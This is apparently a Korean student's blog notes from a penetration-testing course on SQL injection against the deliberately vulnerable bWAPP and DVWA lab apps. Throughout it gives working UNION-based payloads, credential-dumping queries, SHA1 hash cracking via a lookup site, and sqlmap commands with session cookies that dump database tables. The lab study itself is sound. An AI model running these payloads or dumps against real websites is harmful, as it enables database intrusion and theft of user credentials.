IT 공부용
3. SQL Injection 본문
or 1=1;
==> SQL 인젝션의 키포인트~!
SELECT height, name FROM buyTBL or 1=1 #; (Injection 구문)
SELECT * FROM userTBL; (개발자 쓴거)(# 있어서 여기 실행 안댐 -> 공격자 입장에서 syntax error을 안내기 위해 )
1. command에서 bwAPP 데이터베이스의 movie table 조회 하는데
or 1=1 을 때리면 바로 전체 movie정보 다 볼수 있음;
7번자리에 @@version 같은 함수 때릴수 있음
2. bwapp 에서 작업(SQL injection(get/search))
2.1 예측
select * from movie where title=iron man;
select * from movie where where title like "%iron man%";
=> 데이터 테이블에서 조회하는 구문이 있을걸로 추정
2.2 url
http://localhost/bWAPP/sqli_1.php?title=' or 1=1&action=search
=> 개발자가 문자열에 ' " 모름
=> 둘다 시도해봄
http://localhost/bWAPP/sqli_1.php?title="or 1=1&action=search
=> url 에는 안되네..
3. search for a movie 창에 쳐보자
' or 1=1
' union select all 1,2#
' union select all 1,2,3#
' union select all 1,2,3,4#
' union select all 1,2,3,4,5#
' union select all 1,2,3,4,5,6#
' union select all 1,2,3,4,5,6,7# //이게 되네
=> 7개 짜리 열을 가진 테이블 이네
=> 열은 7개인데 // 보여지는 테이블은 5개니까 => view or 하이퍼 링크를 추가한 것 같음
=> 열 순서, 변형해서 출력
'union SELECT @@version # 이렇게 하면 안뜸 -> 1번은 빈 값
-> 2번부터 집어넣자
' union SELECT 1,@@version, database(), @@datadir, user(), 6,7 #
버전, 데이터베이스 이름, 데이터디렉토리, 유저정보 등등 다 출력됨;
' union SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' #
4. search for a movie 창에 쳐보자(2) -> 로그인 회원 정보 털기
' union SELECT 1,concat(id,login),password,email,secret,6,7 from users #
현재 로그인 한 사람의 id값
6885858486f31043e5839c735d99457f045affd0
=> 비밀번호 암호화 된 상태로 저장
kali로 들어가서
sudo su
hash-identifier 툴 이용
hash-identifier는 뭘로 암호화 되었는지 알려줌
sha1로 암호화 했네
https://sha1.web-max.ca/index.php#enter
SHA1 hash decrypter / decoder: Reverse lookup SHA1 hashes online with this tool
About SHA1 hashes "SHA-1 forms part of several widely used security applications and protocols, including TLS and SSL, PGP, SSH, S/MIME, and IPsec. Those applications can also use MD5; both MD5 and SHA-1 are descended from MD4. Revision control systems suc
sha1.web-max.ca
저 사이트에서 넣으면 bug라는 비밀번호값 탈취 쌉가능;
3. DVWA 실습(SQL Injection) - Gordon의 비번 탈취 ㄱㄱ
1. 컬럼 몇 줄인지 계속 늘려가면서 찾아봐
' union select 1 #
' union select 1,2 #
2개네~
2. version정보랑 database 이름 검색 ㄱㄱ
' union SELECT @@version, database() #
데이터베이스 이름하고 버전 까지 알았네
3. 테이블 따내자
' union SELECT table_name,1 from information_schema.columns #
users는 테이블 명
4. 컬럼명 이번에 따자
' union SELECT 1,column_name from information_schema.columns where table_name='users' #
users테이블의 컬럼명 다 땃다.
5. 비번 탈취 ㄱㄱ
2' union SELECT user, password from users# ' 만 치면 위에 처럼 나옴
이유 = ~~쿼리에 저장해놨을 껀데 그걸 return 한 값으로 돌려 놓을 때
select ~~~ where id = ' '값인데
' ' 안에 2' union SELECT user, password from users# ' 값이 들어감
실제 까보면 $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'; 나옴
그럼 넣어보면
$query = "SELECT first_name, last_name FROM users WHERE user_id = '2' union SELECT user, password from users# ''; 일케됨
--------------------------------------------------------------------------------------------------------------------------------------------
SQL Injection(2)
JSON을 연동하기 위해 JQuery, AJAX를 씀
AJAX(자바스크립트와 JSON을 혼합하여 사용하는 기술)
-> 실시간 동작, php에서 RO 방식으로 데이터 사용 조회x, 실시간 동작
- 페이지 이동없이 고속으로 화면 전환 가능
- 서버 처리를 기다리지 않고 비동기 요청 가능
- 수신하는 데이터 양을 줄일 수 있음
1. 버퍼 스위트 키고
VM 밖에 firefox로 들어가서 버프스위트 키고 aaaa 입력
입력하면 phpsessid랑 security값 나옴 여기는 title 값과 action값을 썻네
이제 칼리 들어가서
sqlmap -u "http://192.168.50.37/bWAPP/sqli_1.php?title=aaaa&action=search" -v 3 -p title --cookie "security_level=0; PHPSESSID=55071ae6b21425abe2e7ff9d67cfdbd5"
==> DBMS 조회
sqlmap -u "http://192.168.50.37/bWAPP/sqli_1.php?title=aaaa&action=search" -v 3 -p title --cookie "security_level=0; PHPSESSID=55071ae6b21425abe2e7ff9d67cfdbd5" --dbs
==> DB 이름 조회
sqlmap -u "http://192.168.50.37/bWAPP/sqli_1.php?title=aaaa&action=search" -v 3 -p title --cookie "security_level=0; PHPSESSID=55071ae6b21425abe2e7ff9d67cfdbd5" -D bWAPP --tables
==> 테이블 이름 조회
sqlmap -u "http://192.168.50.37/bWAPP/sqli_1.php?title=aaaa&action=search" -v 3 -p title --cookie "security_level=0; PHPSESSID=55071ae6b21425abe2e7ff9d67cfdbd5" -D bWAPP -T movies --dump
==> 테이블 내용(데이터) 조회
DVWA ㄱㄱ
입력하면 phpsessid랑 security값 나옴 여기서는 url에 id값을 썻네
sqlmap -u "http://192.168.50.74/dvwa/vulnerabilities/sqli/?id=aaaa&Submit=Submit#" -v 3 -p id --cookie "security=low; PHPSESSID=dl5ivv0uhj33m94knuciu6vdvv"
==> DBMS 조회
sqlmap -u "http://192.168.50.74/dvwa/vulnerabilities/sqli/?id=aaaa&Submit=Submit#" -v 3 -p id --cookie "security=low; PHPSESSID=dl5ivv0uhj33m94knuciu6vdvv" --dbs
==> DB 이름 조회
sqlmap -u "http://192.168.50.74/dvwa/vulnerabilities/sqli/?id=aaaa&Submit=Submit#" -v 3 -p id --cookie "security=low; PHPSESSID=dl5ivv0uhj33m94knuciu6vdvv" -D dvwa --tables
==> 테이블 이름 조회
sqlmap -u "http://192.168.50.74/dvwa/vulnerabilities/sqli/?id=aaaa&Submit=Submit#" -v 3 -p id --cookie "security=low; PHPSESSID=dl5ivv0uhj33m94knuciu6vdvv" -D dvwa -T users --dump
==> 테이블 내용(데이터) 조회
ㄱㄱ
'▶ 모의 해킹' 카테고리의 다른 글
4.1 XML Injection (0) | 2022.09.28 |
---|---|
4. OS Command Injection / PHP code Injection (0) | 2022.09.27 |
2. SSI(Server Side Includes) Injection (0) | 2022.09.27 |
1. HTML Injection (0) | 2022.09.26 |
0. 이론 / 설치 (0) | 2022.09.26 |